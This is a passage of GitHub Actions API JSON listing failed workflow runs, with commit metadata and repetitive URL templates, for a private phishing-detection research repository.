","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277876021,"node_id":"MDExOldvcmtmbG93UnVuMjc3ODc2MDIx","head_branch":"integration_test","head_sha":"7d1195ba031e650523746f6200071fc83c343316","run_number":1013,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259158839,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MTU4ODM5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277876021","pull_requests":[],"created_at":"2020-09-29T04:28:03Z","updated_at":"2020-09-29T04:28:03Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259158839","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"7d1195ba031e650523746f6200071fc83c343316","tree_id":"ab625d1a3f77f602030e09ddabae2dedaf222202","message":"Upload Generated config","timestamp":"2020-09-29T04:27:55Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277449290,"node_id":"MDExOldvcmtmbG93UnVuMjc3NDQ5Mjkw","head_branch":"vectorization","head_sha":"7575fd83d70c47fbf6d07cfef45175af75a5855b","run_number":999,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1258052449,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU4MDUyNDQ5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277449290","pull_requests":[],"created_at":"2020-09-28T21:50:37Z","updated_at":"2020-09-28T22:05:23Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1258052449","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"7575fd83d70c47fbf6d07cfef45175af75a5855b","tree_id":"06eb3c537346c79610e86f93b25eff6d4ae9d92d","message":"Removed Features_Support.Vectorization_Training","timestamp":"2020-09-28T21:50:30Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277299451,"node_id":"MDExOldvcmtmbG93UnVuMjc3Mjk5NDUx","head_branch":"vectorization","head_sha":"a749ba5eee4d15838e5469b864abf8e0fc27facd","run_number":246,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1732356,"check_suite_id":1257571800,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU3NTcxODAw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277299451","pull_requests":[],"created_at":"2020-09-28T19:59:06Z","updated_at":"2020-09-28T20:01:23Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1257571800","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277299451/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"a749ba5eee4d15838e5469b864abf8e0fc27facd","tree_id":"bb7d9548b8ff58ddf5c2738dfbc8e08bd85e77e1","message":"Added unit test for vectorizer","timestamp":"2020-09-28T19:56:47Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_ur